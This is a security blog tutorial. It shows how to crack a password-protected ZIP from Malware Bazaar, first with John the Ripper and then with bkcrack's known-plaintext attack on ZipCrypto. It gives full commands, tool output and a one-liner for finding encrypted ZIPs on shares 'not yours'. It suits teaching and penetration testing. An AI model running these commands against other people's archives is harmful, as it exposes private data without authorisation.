Practical Known Plaintext Attack Against ZIP Files
Sometimes in a network far away, which is most of the time not yours, you might encounter ZIP files protected with passwords. For example, for source code archives, there is quite a good chance to decrypt the ZIPs even without knowing or cracking the password. This is nothing new and has been well-known for several years, but it still seems to be relatively unknown. Personal I learned from this in a blogpost about decrypting Conti Ransomware and the quote at the end which sticked
“It’s amazing what the ransomware operators know about cryptography…”
TL;DR:
- Find an encrypted ZIP
- Hope that it is not AES encrypted
- Get one of the files from the ZIP as plaintext from the internet or other sources
- Profit!
Details
Maybe at some point, after hours of digging on network shares or buckets, you encountered that one ZIP file that looked juicy, and you were ready to open it. You set up the VM without internet access to avoid the honeycred/files/tokens, clicked on the file with the .config
, and then…
Don’t you hate it when that happens?
A stupid password??? …
But there are some good chances to get around this, as the underlying zipCrypto has some attack vectors.
The first try would be just to crack the password, as quite often they are really weak.
To demonstrate this, I took some random file from Malware Bazaar.
Just kidding, be careful out there
Plan A - Standard - Crack it
John the Ripper has a nice zip2john module for it.
So we build a hash over the zip:
user@localhost ~/zip> john/run/zip2john 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip > zip.hash
ver 2.0 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip/Launcher/ is not encrypted, or stored with non-handled compression type
ver 2.0 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip/Launcher/ActiveSyncProvider.dll PKZIP Encr: cmplen=719649, decmplen=1707520, crc=10BE1B90 ts=06E9 cs=10be type=8
[...]
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Paste or redirect in a text file and we will see that a strong password is in use…
user@localhost ~/zip> /opt/john/run/john zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2025-04-03 20:49) 0g/s 1021Kp/s 1021Kc/s 1021KC/s Demuxmgr1900..Zip1900
Proceeding with wordlist:/opt/john/run/password.lst
Enabling duplicate candidate password suppressor
2025 (18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip)
1g 0:00:00:00 DONE 2/3 (2025-04-03 20:49) 4.000g/s 851300p/s 851300c/s 851300C/s navy123..kyle24
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ooooookay 2025
, that was a crazy password. For the sake of the more interesting part of the blog, we just ignore this for a moment.
Plan B - The cool one - Known Plaintext attack
Cracking is always nice, but the more interesting attack is a plaintext attack against the archive. Some nice details about our attack against the zipcrypto can be found here: https://wiki.anter.dev/misc/plaintext-attack-zipcrypto/
First we want to know, what we have to deal with.
user@localhost ~/zip> unzip -vv 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
Archive: 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2025-03-28 21:26 00000000 Launcher/
1707520 Defl:N 719637 58% 2025-02-24 00:55 10be1b90 Launcher/ActiveSyncProvider.dll
0 Stored 0 0% 2025-03-28 20:49 00000000 Launcher/com/
81920 Defl:N 33934 59% 2023-12-04 10:46 c7484291 Launcher/com/AcSpecfc.dll
168448 Defl:N 75753 55% 2025-02-24 00:53 2bf4bfd8 Launcher/com/AdvancedEmojiDS.dll
0 Stored 0 0% 2025-03-28 20:49 00000000 Launcher/data/
26112 Defl:N 10754 59% 2019-12-07 17:08 cd285dbe Launcher/data/AJRouter.dll
1722096 Defl:N 513132 70% 2022-12-23 23:02 161941c4 Launcher/data/alibabacloud-oss-cpp-sdk.dll
0 Stored 0 0% 2024-05-19 02:26 00000000 Launcher/data/changelog.txt
3245 Defl:N 1344 59% 2024-12-04 13:24 6df9108a Launcher/data/COPYRIGHT
163568 Defl:N 55942 66% 2022-12-23 23:02 720eae83 Launcher/data/cpr.dll
[...]
-------- ------- --- -------
767295036 58901308 92% 33 files
Defl:N
is a good hint, that we need to deal with Deflate
mode of zips, which is not great but okay.
There are several modes for ZIP files. Text is from the 7z help and superuser forum:
Method Description
LZMA
It's base compression method for 7z format. Even old versions of 7-Zip can decompress archives created with LZMA method. It provides high compression ratio and very fast decompression.
LZMA2
Default compression method of 7z format. LZMA2 is LZMA-based compression method. It provides better multithreading support than LZMA. But compression ratio can be worse in some cases. For best compression ratio with LZMA2 use 1 or 2 CPU threads. If you use LZMA2 with more than 2 threads, 7-zip splits data to chunks and compresses these chunks independently (2 threads per each chunk).
PPMd
Dmitry Shkarin's PPMdH algorithm with small changes. Usually it provides high compression ratio and high speed for text files.
BZip2
Standard compression method based on BWT algorithm. Usually it provides high speed and pretty good compression ratio for text files.
Deflate
Standard compression method of ZIP and GZip formats. Compression ratio is not too high. But it provides pretty fast compressing and decompressing. Deflate method supports only 32 KB dictionary.
Deflate64
Modified version of Deflate algorithm with bigger dictionary (64KB).
Deflate
is the most common method, as it is the standard for 7z and others.
zipinfo
would provide even more information about the zip if needed.
user@localhost ~/zip> zipinfo -v 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
Archive: 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
There is no zipfile comment.
[...]
Central directory entry #2:
---------------------------
There are an extra -36 bytes preceding this file.
Launcher/ActiveSyncProvider.dll
offset of local header from start of archive: 39
(0000000000000027h) bytes
file system or operating system of origin: MS-DOS, OS/2 or NT FAT
version of encoding software: 6.3
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 2.0
compression method: deflated
compression sub-type (deflation): normal
file security status: encrypted
extended local header: no
file last modified on (DOS date/time): 2025 Feb 24 00:55:18
32-bit CRC value (hex): 10be1b90
compressed size: 719649 bytes
uncompressed size: 1707520 bytes
length of filename: 31 characters
length of extra field: 36 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: binary
non-MSDOS external file attributes: 000000 hex
MS-DOS file attributes (20 hex): arc
[...]
So what do we need now? We need one exactly same file as provided within the zip file. As we can read the size and the name this is a job for the internet!
I went for the AJRouter.dll
, other files might work as well.
26112 Defl:N 10754 59% 2019-12-07 17:08 cd285dbe Launcher/data/AJRouter.dll
Success rate was quite good for dll files or files with rather unique names like msg_26.txt
and a very specific size.
Several options to look for files:
- GrayHatWarfare is great for this, you can even provide the exact size
GrayHatWarfare is doing great for that
- Other options might be GoogleFu, Dllme.com, opendll.com, Github or a Windows System, especially if you are looking for .Net Framework files.
As we can see, we found at least a file with the same size.
Remember that files can be different, even if they have the same size, so if the attack is failing try different files.
user@localhost ~/zip> ls -al
total 57572
drwxr-xr-x 3 user user 4096 Apr 2 21:26 ./
drwx------ 39 user user 4096 Apr 2 20:47 ../
-rw-r--r-- 1 user user 58907190 Apr 1 21:07 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
-rw-r--r-- 1 user user 26112 Apr 2 21:18 AJRouter.dll
drwxr-xr-x 12 user user 4096 Mar 27 20:49 bkcrack/
So nice, we found our plaintext file. Now as Deflate
was the method in use, we need to make a file with several compressions (-mx for 7z). The Range is from 0-9 in that case. So a quick&dirty oneliner will make all zip files for us.
user@localhost ~/zip> seq 0 10 | xargs -i 7z a -mm=Deflate -mx{} plain{}.zip /home/user/zip/AJRouter.dll
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs 13th Gen Intel(R) Core(TM) i7-13700H (B06A2),ASM,AES-NI)
Scanning the drive:
1 file, 26112 bytes (26 KiB)
Creating archive: plain0.zip
Items to compress: 1
Files read from disk: 1
Archive size: 11438 bytes (12 KiB)
Everything is Ok
[...]
Now we have several zip files with different compressions.
Finally, we can use bkcrack to run our plaintext attack.
Crack legacy zip encryption with Biham and Kocher’s known plaintext attack.
So we need to provide:
- -P our create Zip file
- -p plaintext file in our zip
- -C the zip we want to attack
- -c path to the file we have the plaintext to
user@localhost ~/zip> ls plain*.zip | xargs -i -t ~/zip/bkcrack/install/bkcrack -P {} -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c "Launcher/data/AJRouter.dll"
/home/user/zip/bkcrack/install/bkcrack -P plain0.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
Data error: ciphertext is smaller than plaintext.
/home/user/zip/bkcrack/install/bkcrack -P plain10.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
[21:30:15] Z reduction using 10635 bytes of known plaintext
64.3 % (6841 / 10635)
[21:30:16] Attack on 193 Z values at index 4571
100.0 % (193 / 193)
[21:30:16] Could not find the keys.
/home/user/zip/bkcrack/install/bkcrack -P plain1.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
Data error: ciphertext is smaller than plaintext.
[...]
/home/user/zip/bkcrack/install/bkcrack -P plain5.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
[21:30:16] Z reduction using 10747 bytes of known plaintext
84.9 % (9120 / 10747)
[21:30:17] Attack on 256 Z values at index 2656
Keys: 4ba31d26 7d9a4839 a4864fa0
70.3 % (180 / 256)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 180
[21:30:17] Keys
4ba31d26 7d9a4839 a4864fa0
[...]
As we can see, with compression 5 we get some keys. This is not surprising, as 5 is the default, but it’s always good to test all compressions and we are talking about seconds for this kind of attack.
I really want to point this out, the run takes seconds to finish (if your plaintext file has a decent size)
________________________________________________________ Executed in 7.75 secs fish external usr time 13.78 secs 1.77 millis 13.78 secs sys time 0.07 secs 1.30 millis 0.06 secs
Next step is to use the keys to rewrite the ZIP without a password.
user@localhost ~/zip [1]> ~/zip/bkcrack/install/bkcrack -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -D withoutpw.zip -k 4ba31d26 7d9a4839 a4864fa0
bkcrack 1.7.1 - 2024-12-21
[21:32:27] Writing decrypted archive withoutpw.zip
100.0 % (27 / 27)
That’s it, now we have an unprotected ZIP file where we can access all the files and juicy secrets within.
user@localhost ~/zip> unzip -v -p withoutpw.zip Launcher/data/COPYRIGHT | head
Copyright © 1993, 2025, Oracle and/or its affiliates.
All rights reserved.
This software and related documentation are provided under a
license agreement containing restrictions on use and
disclosure and are protected by intellectual property laws.
Except as expressly permitted in your license agreement or
allowed by law, you may not use, copy, reproduce, translate,
broadcast, modify, license, transmit, distribute, exhibit,
perform, publish, or display any part, in any form, or by
Despite the fact, that the password in this case was super easy, it does not matter. The password of the ZIP has no influence on the derivated keys and therefore the plaintext attack. It could even be “Sup3rS3cr3t!” which John would never ever crack!!!
Bonus
If you have a lot of ZIPs and want to check which one have a password protection, which is ofc a strong indicator for some nice little secrets inside, the following OneLiner was handy.
ls *.zip | xargs -i -t bash -c 'zipinfo -v {} | grep -ic " encrypted"'
Links
- https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8
- https://wiki.anter.dev/misc/plaintext-attack-zipcrypto/